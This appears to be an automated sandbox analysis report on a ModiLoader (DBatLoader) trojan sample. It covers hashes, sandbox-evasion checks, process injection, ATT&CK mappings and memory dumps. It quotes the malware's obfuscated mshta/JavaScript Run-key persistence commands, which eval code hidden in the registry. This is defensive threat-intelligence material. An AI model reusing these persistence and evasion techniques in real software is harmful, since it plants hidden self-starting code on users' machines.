modiloader | 5c3e231c8ca3e0c8cb679599d70f8642614f3895cdf3b4c25de0f0c46d83c1ec

General

Target

5c3e231c8ca3e0c8cb679599d70f8642614f3895cdf3b4c25de0f0c46d83c1ec.exe
Size

484KB
MD5

812db304d3c512908f8392487341f8d6
SHA1

4ceb748ca2cade684c838f165643a1931ad3bc24
SHA256

5c3e231c8ca3e0c8cb679599d70f8642614f3895cdf3b4c25de0f0c46d83c1ec
SHA512

a2255a2db88fab255a345a866dc39c679e4a4b04e33ec697265ebcaadbd9d2bf78f9e0d473ebe9732539539d6677f4b4a5deaa6d181b28ace5a934a4a92340e8

Score

10^/10

modiloader evasion persistence trojan

Malware Config

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
evasion

Software Discovery
T1518
Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

dllhost.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Oracle\VirtualBox Guest Additions dllhost.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Oracle\VirtualBox Guest Additions	dllhost.exe

ModiLoader Second Stage 11 IoCs

Processes:

resource	yara_rule
behavioral2/memory/2516-132-0x0000000000400000-0x000000000047F000-memory.dmp	modiloader_stage2
behavioral2/memory/2516-133-0x0000000000060000-0x0000000000124000-memory.dmp	modiloader_stage2
behavioral2/memory/2516-136-0x0000000000060000-0x0000000000124000-memory.dmp	modiloader_stage2
behavioral2/memory/1680-137-0x0000000000C00000-0x0000000000CC4000-memory.dmp	modiloader_stage2
behavioral2/memory/1680-139-0x0000000000C00000-0x0000000000CC4000-memory.dmp	modiloader_stage2
behavioral2/memory/1924-141-0x0000000000E40000-0x0000000000F04000-memory.dmp	modiloader_stage2
behavioral2/memory/3688-144-0x0000000000820000-0x00000000008E4000-memory.dmp	modiloader_stage2
behavioral2/memory/1924-145-0x0000000000E40000-0x0000000000F04000-memory.dmp	modiloader_stage2
behavioral2/memory/3852-148-0x0000000001200000-0x00000000012C4000-memory.dmp	modiloader_stage2
behavioral2/memory/3852-149-0x0000000001200000-0x00000000012C4000-memory.dmp	modiloader_stage2
behavioral2/memory/3688-150-0x0000000000820000-0x00000000008E4000-memory.dmp	modiloader_stage2

Adds policy Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

dllhost.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	dllhost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:uTKbs44TTg=\"LMo8mqkqp\";B17c=new%20ActiveXObject(\"WScript.Shell\");WMAGjzX7=\"cVb97V0lIN\";mim0I=B17c.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\bddbd4f0\\\\7d79c789\");swB58cBF=\"uPyUvul\";eval(mim0I);Vsij7mg=\"b2p\";"	dllhost.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

dllhost.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools dllhost.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools	dllhost.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

dllhost.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	dllhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	dllhost.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

dllhost.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:pdNzb7w=\"lLcTC\";z62t=new%20ActiveXObject(\"WScript.Shell\");Oz1EzHI=\"dAOYiZ\";kwP6U3=z62t.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\bddbd4f0\\\\7d79c789\");LRc9eYO3=\"juE79l2nkQ\";eval(kwP6U3);dgTDeKMs9=\"c1\";"	dllhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3463845317-933582289-45817732-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:JrH0RsoT3=\"Daei3oLQDO\";nK4=new%20ActiveXObject(\"WScript.Shell\");xxFU5Yi=\"J0ODO\";p2wIa=nK4.RegRead(\"HKCU\\\\software\\\\bddbd4f0\\\\7d79c789\");sOIl3mZR3R=\"U9U10F6m\";eval(p2wIa);OFMA6ahJm=\"iel4VI2B2S\";"	dllhost.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

dllhost.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	dllhost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	dllhost.exe

Modifies Internet Explorer settings 1 TTPs 10 IoCs

adware spyware

Modify Registry

T1112

Processes:

dllhost.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3463845317-933582289-45817732-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl	dllhost.exe
Key created	\REGISTRY\USER\S-1-5-21-3463845317-933582289-45817732-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	dllhost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3463845317-933582289-45817732-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\dllhost.exe = "0"	dllhost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\dllhost.exe = "0"	dllhost.exe
Key created	\REGISTRY\USER\S-1-5-21-3463845317-933582289-45817732-1000\SOFTWARE\Microsoft\Internet Explorer\International	dllhost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3463845317-933582289-45817732-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0"	dllhost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3463845317-933582289-45817732-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0"	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	dllhost.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

5c3e231c8ca3e0c8cb679599d70f8642614f3895cdf3b4c25de0f0c46d83c1ec.exedllhost.exe

pid	process
2516	5c3e231c8ca3e0c8cb679599d70f8642614f3895cdf3b4c25de0f0c46d83c1ec.exe
2516	5c3e231c8ca3e0c8cb679599d70f8642614f3895cdf3b4c25de0f0c46d83c1ec.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe

Suspicious behavior: MapViewOfSection 12 IoCs

Processes:

5c3e231c8ca3e0c8cb679599d70f8642614f3895cdf3b4c25de0f0c46d83c1ec.exedllhost.exedllhost.exe

pid	process
2516	5c3e231c8ca3e0c8cb679599d70f8642614f3895cdf3b4c25de0f0c46d83c1ec.exe
2516	5c3e231c8ca3e0c8cb679599d70f8642614f3895cdf3b4c25de0f0c46d83c1ec.exe
2516	5c3e231c8ca3e0c8cb679599d70f8642614f3895cdf3b4c25de0f0c46d83c1ec.exe
1680	dllhost.exe
1680	dllhost.exe
1680	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

5c3e231c8ca3e0c8cb679599d70f8642614f3895cdf3b4c25de0f0c46d83c1ec.exedllhost.exedllhost.exe

description	pid	process	target process
PID 2516 wrote to memory of 1680	2516	5c3e231c8ca3e0c8cb679599d70f8642614f3895cdf3b4c25de0f0c46d83c1ec.exe	dllhost.exe
PID 2516 wrote to memory of 1680	2516	5c3e231c8ca3e0c8cb679599d70f8642614f3895cdf3b4c25de0f0c46d83c1ec.exe	dllhost.exe
PID 2516 wrote to memory of 1680	2516	5c3e231c8ca3e0c8cb679599d70f8642614f3895cdf3b4c25de0f0c46d83c1ec.exe	dllhost.exe
PID 1680 wrote to memory of 1924	1680	dllhost.exe	dllhost.exe
PID 1680 wrote to memory of 1924	1680	dllhost.exe	dllhost.exe
PID 1680 wrote to memory of 1924	1680	dllhost.exe	dllhost.exe
PID 1924 wrote to memory of 3688	1924	dllhost.exe	dllhost.exe
PID 1924 wrote to memory of 3688	1924	dllhost.exe	dllhost.exe
PID 1924 wrote to memory of 3688	1924	dllhost.exe	dllhost.exe
PID 1924 wrote to memory of 3852	1924	dllhost.exe	explorer.exe
PID 1924 wrote to memory of 3852	1924	dllhost.exe	explorer.exe
PID 1924 wrote to memory of 3852	1924	dllhost.exe	explorer.exe

C:\Users\Admin\AppData\Local\Temp\5c3e231c8ca3e0c8cb679599d70f8642614f3895cdf3b4c25de0f0c46d83c1ec.exe
"C:\Users\Admin\AppData\Local\Temp\5c3e231c8ca3e0c8cb679599d70f8642614f3895cdf3b4c25de0f0c46d83c1ec.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2516

C:\Windows\SysWOW64\dllhost.exe
dllhost.exe
2⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1680

C:\Windows\SysWOW64\dllhost.exe
dllhost.exe
3⤵
- Looks for VirtualBox Guest Additions in registry
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1924

C:\Windows\SysWOW64\dllhost.exe
"C:\Windows\SysWOW64\dllhost.exe"
4⤵
PID:3688

C:\Windows\SysWOW64\explorer.exe
explorer.exe
4⤵
PID:3852

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

2

T1060

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

2

T1497

Modify Registry

3

T1112

Credential Access

Discovery

Software Discovery

1

T1518

Query Registry

4

T1012

Virtualization/Sandbox Evasion

2

T1497

System Information Discovery

2

T1082

Peripheral Device Discovery

1

T1120

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1680-134-0x0000000000000000-mapping.dmp

Download
memory/1680-135-0x00000000009C0000-0x00000000009C7000-memory.dmp

Filesize
28KB

Download
memory/1680-137-0x0000000000C00000-0x0000000000CC4000-memory.dmp

Filesize
784KB

Download
memory/1680-139-0x0000000000C00000-0x0000000000CC4000-memory.dmp

Filesize
784KB

Download
memory/1924-140-0x00000000009C0000-0x00000000009C7000-memory.dmp

Filesize
28KB

Download
memory/1924-145-0x0000000000E40000-0x0000000000F04000-memory.dmp

Filesize
784KB

Download
memory/1924-141-0x0000000000E40000-0x0000000000F04000-memory.dmp

Filesize
784KB

Download
memory/1924-138-0x0000000000000000-mapping.dmp

Download
memory/2516-136-0x0000000000060000-0x0000000000124000-memory.dmp

Filesize
784KB

Download
memory/2516-132-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2516-133-0x0000000000060000-0x0000000000124000-memory.dmp

Filesize
784KB

Download
memory/3688-142-0x0000000000000000-mapping.dmp

Download
memory/3688-143-0x00000000009C0000-0x00000000009C7000-memory.dmp

Filesize
28KB

Download
memory/3688-144-0x0000000000820000-0x00000000008E4000-memory.dmp

Filesize
784KB

Download
memory/3688-150-0x0000000000820000-0x00000000008E4000-memory.dmp

Filesize
784KB

Download
memory/3852-146-0x0000000000000000-mapping.dmp

Download
memory/3852-147-0x0000000000A70000-0x0000000000EA3000-memory.dmp

Filesize
4.2MB

Download
memory/3852-148-0x0000000001200000-0x00000000012C4000-memory.dmp

Filesize
784KB

Download
memory/3852-149-0x0000000001200000-0x00000000012C4000-memory.dmp

Filesize
784KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads